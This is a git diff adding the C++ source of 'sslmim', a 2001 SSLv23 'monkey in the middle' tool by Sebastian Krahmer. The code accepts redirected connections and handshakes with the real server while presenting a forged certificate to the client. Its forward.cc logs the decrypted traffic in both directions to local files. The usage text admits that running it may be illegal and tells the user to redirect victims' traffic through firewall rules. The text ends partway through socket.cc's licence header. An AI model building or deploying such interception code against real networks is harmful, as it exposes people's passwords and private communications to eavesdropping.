27 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
30 * SUCH DAMAGE.
31 */
32
33#ifndef _FILTER_H_
34#define _FILTER_H_
35
36namespace NS_Filter {
37
38void check_and_forward(int sock);
39
40}; // namespace
41
42#endif // _FILTER_H_
43
diff --git a/other/sslmim/filterd.cc b/other/sslmim/filterd.cc
new file mode 100644
index 0000000..2436295
--- /dev/null
+++ b/other/sslmim/filterd.cc
@@ -0,0 +1,100 @@
1/*
2 * Copyright (C) 1999/2000 Sebastian Krahmer.
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 * 3. All advertising materials mentioning features or use of this software
14 * must display the following acknowledgement:
15 * This product includes software developed by Sebastian Krahmer.
16 * 4. The name Sebastian Krahmer may not be used to endorse or promote
17 * products derived from this software without specific prior written
18 * permission.
19 *
20 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
21 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
24 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
26 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
27 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
30 * SUCH DAMAGE.
31 */
32#include "misc.h"
33#include "socket.h"
34#include "filter.h"
35
36#include <stdio.h>
37#include <sys/types.h>
38#include <sys/socket.h>
39#include <errno.h>
40#include <netinet/in.h>
41#include <arpa/inet.h>
42#include <unistd.h>
43#include <string.h>
44#include <stdlib.h>
45#include <sys/time.h>
46#include <string>
47#include <signal.h>
48
49using namespace NS_Misc;
50
51void usage(char *s)
52{
53}
54
55unsigned short inc = 0;
56
57int main(int argc, char **argv)
58{
59
60 int c, sfd, afd;
61 unsigned short port = 0;
62
63 if (argc < 2)
64 usage(argv[0]);
65
66 // handle commandline arguments
67 while ((c = getopt(argc, argv, "p:")) != -1) {
68 switch (c) {
69 case 'p':
70 port = atoi(optarg);
71 break;
72 default:
73 usage(argv[0]);
74 break;
75 }
76 }
77 if (signal(SIGCHLD, sig_x) < 0)
78 die("main::signal");
79
80 // do the usual network-server setup
81 if ((sfd = socket(PF_INET, SOCK_STREAM, 0)) < 0)
82 die("main::socket");
83
84 // bind + listen
85 if (NS_Socket::bind_local(sfd, port, true) < 0)
86 die(NS_Socket::why());
87
88 while ((afd = accept(sfd, NULL, 0)) >= 0) {
89 ++inc;
90 if (fork() > 0) {
91 close(afd);
92 continue;
93 }
94 cerr<<"l\n";
95 NS_Filter::check_and_forward(afd);
96 exit(0);
97 }
98 return 0;
99}
100
diff --git a/other/sslmim/forward.cc b/other/sslmim/forward.cc
new file mode 100644
index 0000000..b4ff429
--- /dev/null
+++ b/other/sslmim/forward.cc
@@ -0,0 +1,108 @@
1/*
2 * Copyright (C) 2001 Sebastian Krahmer.
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 * 3. All advertising materials mentioning features or use of this software
14 * must display the following acknowledgement:
15 * This product includes software developed by Sebastian Krahmer.
16 * 4. The name Sebastian Krahmer may not be used to endorse or promote
17 * products derived from this software without specific prior written
18 * permission.
19 *
20 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
21 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
24 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
26 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
27 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
30 * SUCH DAMAGE.
31 */
32#include "misc.h"
33#include "session.h"
34#include "forward.h"
35
36#include <stdio.h>
37#include <fcntl.h>
38#include <sys/time.h>
39#include <sys/types.h>
40#include <unistd.h>
41#include <errno.h>
42#include <time.h>
43#include <openssl/err.h>
44
45#define SSL_LOG "./mim"
46
47using namespace NS_Misc;
48
49int ssl_forward(CSession *client, SSession *server)
50{
51 size_t r;
52 fd_set rset;
53 char buf[1500];
54 int max;
55 char cfile[1024], sfile[1024];
56
57 sprintf(cfile, "%s.%ld.%d.client", SSL_LOG, time(NULL), getpid());
58 sprintf(sfile, "%s.%ld.%d.server", SSL_LOG, time(NULL), getpid());
59
60 int cfd = open(cfile, O_WRONLY|O_CREAT|O_APPEND, 0600);
61 int sfd = open(sfile, O_WRONLY|O_CREAT|O_APPEND, 0600);
62
63 if (cfd < 0 || sfd < 0) {
64 log("ssl_forward::open() returned error");
65 die(NULL);
66 }
67
68 // I know that there exists problems with SSL+select
69 // ...
70 for (;;) {
71 FD_ZERO(&rset);
72 FD_SET(client->fileno(), &rset);
73 FD_SET(server->fileno(), &rset);
74
75 max = (client->fileno() > server->fileno() ?
76 client->fileno() : server->fileno());
77
78 if (select(max + 1, &rset, NULL, NULL, NULL) < 0) {
79 if (errno == EINTR)
80 continue;
81 else {
82 log("ssl_forward::select");
83 die(NULL);
84 }
85 }
86 if (FD_ISSET(client->fileno(), &rset)) {
87 r = client->read(buf, sizeof(buf));
88 if (r <= 0)
89 break;
90 write(cfd, buf, r);
91 if (server->write(buf, r) <= 0)
92 break;
93 }
94 if (FD_ISSET(server->fileno(), &rset)) {
95 r = server->read(buf, sizeof(buf));
96 if (r <= 0)
97 break;
98 write(sfd, buf, r);
99 if (client->write(buf, r) <= 0)
100 break;
101 }
102 }
103 close(cfd);
104 close(sfd);
105 return 0; // upon return here, caller
106 // will shutdown connections
107}
108
diff --git a/other/sslmim/forward.h b/other/sslmim/forward.h
new file mode 100644
index 0000000..1177ce4
--- /dev/null
+++ b/other/sslmim/forward.h
@@ -0,0 +1,40 @@
1/*
2 * Copyright (C) 2001 Sebastian Krahmer.
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 * 3. All advertising materials mentioning features or use of this software
14 * must display the following acknowledgement:
15 * This product includes software developed by Sebastian Krahmer.
16 * 4. The name Sebastian Krahmer may not be used to endorse or promote
17 * products derived from this software without specific prior written
18 * permission.
19 *
20 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
21 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
24 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
26 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
27 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
30 * SUCH DAMAGE.
31 */
32#ifndef _FORWARD_H_
33#define _FORWARD_H_
34
35#include "session.h"
36
37int ssl_forward(CSession *, SSession *);
38
39#endif
40
diff --git a/other/sslmim/main.cc b/other/sslmim/main.cc
new file mode 100644
index 0000000..e8cf1e2
--- /dev/null
+++ b/other/sslmim/main.cc
@@ -0,0 +1,235 @@
1/*
2 * Copyright (C) 2001 Sebastian Krahmer.
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 * 3. All advertising materials mentioning features or use of this software
14 * must display the following acknowledgement:
15 * This product includes software developed by Sebastian Krahmer.
16 * 4. The name Sebastian Krahmer may not be used to endorse or promote
17 * products derived from this software without specific prior written
18 * permission.
19 *
20 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
21 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
24 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
26 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
27 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
30 * SUCH DAMAGE.
31 */
32#include "misc.h"
33#include "forward.h"
34#include "socket.h"
35#include "dca.h"
36
37#include <stdio.h>
38#include <sys/types.h>
39#include <sys/socket.h>
40#include <errno.h>
41#include <netinet/in.h>
42#include <arpa/inet.h>
43#include <unistd.h>
44#include <string.h>
45#include <stdlib.h>
46#include <sys/time.h>
47#include <string>
48#include <signal.h>
49#include <openssl/err.h>
50
51using namespace NS_Misc;
52
53int do_it(unsigned short, const char *, const char *);
54bool enable_dca = false;
55bool use_subject_for_issuer = true;
56
57void usage(char *s)
58{
59 cerr<<"\nSSLv23 'Monkey in the middle' Implementation (C) 2001 by\n"
60 "Sebastian Krahmer <krahmer@cs.uni-potsdam.de>\n\n"
61 "Be warned that you maybe do illegal things by RUNNING this "
62 "program !!!\n"
63 "Standard disclaimer applies.\n"
64 "(DCA enabled)\n\n"
65 "Usage: "<<s<<" [-D] [-I] <-C certfile> <-K keyfile> <-p port>\n"
66 "And do not forget to redirect traffic to 'port' via your"
67 " FW ruleset.\nUse '-I' to use real issuer of cert, "
68 "'-D' for DCA.\n\n";
69
70 exit(1);
71}
72
73int main(int argc, char **argv)
74{
75
76 unsigned short port = 0;
77 string keyfile = "", certfile = "";
78 int c;
79
80 if (argc < 3)
81 usage(argv[0]);
82
83 // handle commandline arguments
84 while ((c = getopt(argc, argv, "p:C:K:DI")) != -1) {
85 switch (c) {
86 case 'p':
87 port = atoi(optarg);
88 break;
89 case 'C':
90 certfile = optarg;
91 break;
92 case 'K':
93 keyfile = optarg;
94 break;
95 case 'D':
96 enable_dca = true;
97 break;
98 case 'I':
99 use_subject_for_issuer = false;
100 break;
101 default:
102 usage(argv[0]);
103 break;
104 }
105 }
106
107 if (!port || certfile.size() == 0 || keyfile.size() == 0)
108 usage(argv[0]);
109
110 if (signal(SIGCHLD, sig_x) < 0)
111 die("main::signal");
112
113 do_it(port, keyfile.c_str(), certfile.c_str());
114
115 return 0;
116}
117
118int do_it(unsigned short port, const char *keyfile, const char *certfile)
119{
120 struct sockaddr_in from, dst;
121 int sfd = 0, sfd2, afd, i = 0;
122 string s_from, s_to;
123 socklen_t socksize;
124 char l[1024];
125
126 // do the usual network-server setup
127 if ((sfd = socket(PF_INET, SOCK_STREAM, 0)) < 0)
128 die("main::socket");
129
130 // bind+listen
131 if (NS_Socket::bind_local(sfd, port, true) < 0)
132 die(NS_Socket::why());
133
134 socksize = sizeof(from);
135
136 CSession *client = NULL;
137 SSession *server = NULL;
138
139 try {
140 client = new CSession();
141 server = new SSession();
142 } catch (int) {
143 die("Can't create Sessions.");
144 }
145
146 if (server->load_files(keyfile, certfile) < 0) {
147 fprintf(stderr, "%s\n", server->why());
148 exit(-1);
149 }
150
151 // shadow
152 if (fork() > 0) {
153 log("Going background.");
154 exit(0);
155 }
156 setsid();
157
158 // block for incoming connections
159 while ((afd = accept(sfd, (sockaddr*)&from, &socksize)) >= 0) {
160
161 // Get real destination
162 // of connection
163 if (NS_Socket::dstaddr(afd, &dst) < 0) {
164 log(NS_Socket::why());
165 die(NULL);
166 }
167
168 s_from = inet_ntoa(from.sin_addr);
169 s_to = inet_ntoa(dst.sin_addr);
170
171 snprintf(l, sizeof(l), "Forwarding %s:%d -> %s:%d",
172 s_from.c_str(), ntohs(from.sin_port),
173 s_to.c_str(), ntohs(dst.sin_port));
174 log(l);
175 ++i;
176 if (fork() == 0) {
177
178 // --- client-side
179 if ((sfd2 = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
180 log("main::socket");
181 die(NULL);
182 }
183
184
185 if (NS_Socket::bind_local(sfd2, 8888+i, 0) < 0) {
186 log(NS_Socket::why());
187 die(NULL);
188 }
189
190
191 // fire up connection to real server
192 if (connect(sfd2, (struct sockaddr*)&dst,
193 sizeof(dst)) < 0) {
194 log("main::connect");
195 die(NULL);
196 }
197
198 if (NS_Socket::nodelay(afd) < 0 ||
199 NS_Socket::nodelay(sfd2) < 0)
200 log(NS_Socket::why());
201
202 client->start();
203 client->fileno(sfd2); // this socket to use
204
205 // do SSL handshake
206 if (client->connect() < 0) {
207 log("Clientside handshake failed. Aborting.");
208 die(NULL);
209 }
210
211 // --- server-side
212
213 server->start(); // create SSL object
214 server->fileno(afd); // set socket to use
215
216 if (enable_dca)
217 NS_DCA::do_dca(client, server);
218
219 // do SSL handshake as fake-server
220 if (server->accept() < 0) {
221 log("Serverside handshake failed. Aborting.");
222 die(NULL);
223 }
224
225 ssl_forward(client, server);
226
227 delete client;
228 delete server;
229 exit(0);
230 }
231 close(afd);
232 }
233
234 return 1;
235}
diff --git a/other/sslmim/misc.cc b/other/sslmim/misc.cc
new file mode 100644
index 0000000..37bf978
--- /dev/null
+++ b/other/sslmim/misc.cc
@@ -0,0 +1,63 @@
1/*
2 * Copyright (C) 2001 Sebastian Krahmer.
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 * 3. All advertising materials mentioning features or use of this software
14 * must display the following acknowledgement:
15 * This product includes software developed by Sebastian Krahmer.
16 * 4. The name Sebastian Krahmer may not be used to endorse or promote
17 * products derived from this software without specific prior written
18 * permission.
19 *
20 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
21 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
24 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
26 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
27 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
30 * SUCH DAMAGE.
31 */
32#include "misc.h"
33#include <unistd.h>
34#include <errno.h>
35#include <stdio.h>
36#include <syslog.h>
37#include <sys/wait.h>
38#include <stdlib.h>
39
40namespace NS_Misc {
41
42void die(const char *s)
43{
44 if (s)
45 perror(s);
46 exit(errno);
47}
48
49void log(const char *s)
50{
51 openlog("monkey", LOG_PID, LOG_DAEMON);
52 syslog(LOG_ERR, "%s", s);
53 closelog();
54}
55
56
57void sig_x(int)
58{
59 while (waitpid(-1, NULL, WNOHANG) > 0);
60 return;
61}
62
63}; // namespace
diff --git a/other/sslmim/misc.h b/other/sslmim/misc.h
new file mode 100644
index 0000000..3644b22
--- /dev/null
+++ b/other/sslmim/misc.h
@@ -0,0 +1,46 @@
1/*
2 * Copyright (C) 2001 Sebastian Krahmer.
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 * 3. All advertising materials mentioning features or use of this software
14 * must display the following acknowledgement:
15 * This product includes software developed by Sebastian Krahmer.
16 * 4. The name Sebastian Krahmer may not be used to endorse or promote
17 * products derived from this software without specific prior written
18 * permission.
19 *
20 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
21 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
24 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
26 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
27 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
30 * SUCH DAMAGE.
31 */
32#ifndef _MISC_H_
33#define _MISC_H_
34
35namespace NS_Misc {
36
37void sig_x(int);
38
39void die(const char *);
40
41void log(const char *);
42
43}
44
45#endif
46
diff --git a/other/sslmim/session.cc b/other/sslmim/session.cc
new file mode 100644
index 0000000..ecaabd3
--- /dev/null
+++ b/other/sslmim/session.cc
@@ -0,0 +1,184 @@
1/*
2 * Copyright (C) 2001 Sebastian Krahmer.
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 * 3. All advertising materials mentioning features or use of this software
14 * must display the following acknowledgement:
15 * This product includes software developed by Sebastian Krahmer.
16 * 4. The name Sebastian Krahmer may not be used to endorse or promote
17 * products derived from this software without specific prior written
18 * permission.
19 *
20 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
21 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
24 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
26 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
27 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
30 * SUCH DAMAGE.
31 */
32#include "session.h"
33
34#ifdef fileno
35#undef fileno
36#endif
37
38extern "C" {
39#include <openssl/ssl.h>
40}
41
42Session::Session()
43{
44 SSL_load_error_strings();
45 SSLeay_add_all_algorithms();
46
47 d_ssl = NULL;
48 d_ctx = NULL;
49 d_method = NULL;
50 d_socket = -1;
51}
52
53Session::~Session()
54{
55 shutdown();
56 SSL_CTX_free(d_ctx);
57}
58
59int Session::read(char *buf, int len)
60{
61 return SSL_read(d_ssl, buf, len);
62}
63
64int Session::write(char *buf, int len)
65{
66 return SSL_write(d_ssl, buf, len);
67}
68
69int Session::shutdown()
70{
71 if (d_ssl) {
72 SSL_shutdown(d_ssl);
73 SSL_free(d_ssl);
74 d_ssl = NULL;
75 }
76 return 0;
77}
78
79int Session::start()
80{
81 shutdown();
82 d_ssl = SSL_new(d_ctx);
83 if (!d_ssl) {
84 error = "Session::start::SSL_new() returned NULL";
85 return -1;
86 }
87 return 0;
88}
89
90int Session::fileno(int fd)
91{
92 SSL_set_fd(d_ssl, fd);
93 d_socket = fd;
94 return fd;
95}
96
97int Session::fileno()
98{
99 return d_socket;
100}
101
102//-----
103
104CSession::CSession()
105 : Session()
106{
107 d_method = SSLv23_client_method();
108
109 if (!d_method) {
110 error = "CSession::CSession::SSLv23_client_method() returned NULL";
111 throw -1;
112 }
113
114 d_ctx = SSL_CTX_new(d_method);
115
116 if (!d_ctx) {
117 error = "CSession::CSession::SSL_CTX_new() returned NULL";
118 throw -1;
119 }
120
121}
122
123CSession::~CSession()
124{
125}
126
127int CSession::connect()
128{
129 if (!d_ssl)
130 return -1;
131 return SSL_connect(d_ssl);
132}
133
134SSession::SSession()
135 : Session()
136{
137 d_method = SSLv23_server_method();
138
139 if (!d_method) {
140 error = "SSession::SSession::SSLv23_server_method() returned NULL";
141 throw -1;
142 }
143
144 d_ctx = SSL_CTX_new(d_method);
145
146 if (!d_ctx) {
147 error = "SSession::SSession::SSL_CTX_new() returned NULL";
148 throw -1;
149 }
150
151}
152
153SSession::~SSession()
154{
155}
156
157int SSession::accept()
158{
159 return SSL_accept(d_ssl);
160}
161
162int SSession::load_files(const char *key_file, const char *cert_file)
163{
164 if (SSL_CTX_use_certificate_file(d_ctx, cert_file,
165 SSL_FILETYPE_PEM)<0) {
166 error = "SSession::load_key_file::SSL_CTX_use_certificate()"
167 " returned < 0";
168 return -1;
169 }
170
171 if (SSL_CTX_use_PrivateKey_file(d_ctx, key_file,
172 SSL_FILETYPE_PEM) < 0) {
173 error = "SSession::load_key_file::SSL_CTX_use_PrivateKey_file()"
174 " returned < 0";
175 return -1;
176 }
177
178 if (SSL_CTX_check_private_key(d_ctx) < 0) {
179 error = "SSession::SSL_CTX_check_private_key() returned < 0";
180 return -1;
181 }
182 return 0;
183}
184
diff --git a/other/sslmim/session.h b/other/sslmim/session.h
new file mode 100644
index 0000000..2d2f4c6
--- /dev/null
+++ b/other/sslmim/session.h
@@ -0,0 +1,116 @@
1/*
2 * Copyright (C) 2001 Sebastian Krahmer.
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 * 3. All advertising materials mentioning features or use of this software
14 * must display the following acknowledgement:
15 * This product includes software developed by Sebastian Krahmer.
16 * 4. The name Sebastian Krahmer may not be used to endorse or promote
17 * products derived from this software without specific prior written
18 * permission.
19 *
20 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
21 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
24 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
26 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
27 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
30 * SUCH DAMAGE.
31 */
32
33#ifndef _SESSION_H_
34#define _SESSION_H_
35
36extern "C" {
37#include <openssl/ssl.h>
38}
39
40#include <string>
41
42class Session {
43private:
44 int d_socket;
45
46 Session(const Session&);
47 Session &operator=(const Session&);
48
49protected:
50 SSL_CTX *d_ctx;
51 SSL *d_ssl;
52 SSL_METHOD *d_method;
53
54 string error;
55
56 Session();
57
58public:
59 virtual ~Session();
60
61 int read(char *buf, int len);
62
63 int write(char *buf, int len);
64
65 //! Get fileno (socket)
66 int fileno();
67
68#ifdef fileno
69#undef fileno
70#endif
71
72 //! Set fileno (socket)
73 int fileno(int fd);
74
75 int shutdown();
76
77 int start();
78
79 //! Get SSL object for more SSL-stuff
80 SSL* ssl() { return d_ssl; }
81
82 //! ditto
83 SSL_CTX *ctx() { return d_ctx; }
84
85 //! Usual error-handling
86 const char *why() { return error.c_str(); }
87};
88
89class CSession : public Session {
90private:
91 CSession(const CSession &);
92 CSession &operator=(CSession &);
93public:
94 CSession();
95 virtual ~CSession();
96
97 int connect();
98};
99
100class SSession : public Session {
101private:
102 SSession(const SSession &);
103 SSession &operator=(const SSession &);
104public:
105 SSession();
106 virtual ~SSession();
107
108 //! Load private key and certificate
109 int load_files(const char *key_file, const char *cert_file);
110
111 //! Wait for SSL handshake
112 int accept();
113};
114
115#endif
116
diff --git a/other/sslmim/socket.cc b/other/sslmim/socket.cc
new file mode 100644
index 0000000..9097632
--- /dev/null
+++ b/other/sslmim/socket.cc
@@ -0,0 +1,144 @@
1/*
2 * Copyright (C) 2001 Sebastian Krahmer.
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 * 3. All advertising materials mentioning features or use of this software
14 * must display the following acknowledgement:
15 * This product includes software developed by Sebastian Krahmer.
16 * 4. The name Sebastian Krahmer may not be used to endorse or promote
17 * products derived from this software without specific prior written
18 * permission.
19 *
20 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
21 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
24 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
